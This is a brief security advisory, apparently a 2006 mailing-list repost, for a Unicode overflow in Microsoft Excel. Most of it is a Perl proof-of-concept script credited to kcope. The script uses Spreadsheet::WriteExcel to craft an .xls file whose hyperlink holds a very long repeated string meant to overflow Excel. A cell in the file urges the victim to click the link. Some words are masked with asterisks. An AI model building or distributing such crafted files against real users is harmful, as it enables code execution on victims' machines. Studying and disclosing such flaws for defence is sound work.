[EXPL] Microsoft Excel Unicode Local Overflow (Exploit)

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Microsoft Excel Unicode Local Overflow (Exploit)
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SUMMARY

By usinf a specially crafted file attackers can execute arbitrary code in
Microsoft Excel.

DETAILS

Exploit:
###############################
# excelsexywarez.pl
# excel unicode overflow poc
# by kcope in 2006
# thanks to revoguard and alex
###############################
use Spread***::WriteExcel;

my $workbook = Spread***::WriteExcel->new("***.xls");

$work*** = $workbook->add_work***();

$format = $workbook->add_format();
$format->set_bold();
$format->set_color('red');
$format->set_align('center');

$col = $row = 5;
$work***->write($row, $col, "kcope in da house! Click on the
link!!!", $format);

$a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
$work***->write_url(0, 0, "$a", "LINK");

#EoF


ADDITIONAL INFORMATION

The information has been provided by <mailto:kingcope@xxxxxxx> kcope.
The original article can be found at: <http://milw0rm.com/exploits/1927>
http://milw0rm.com/exploits/1927



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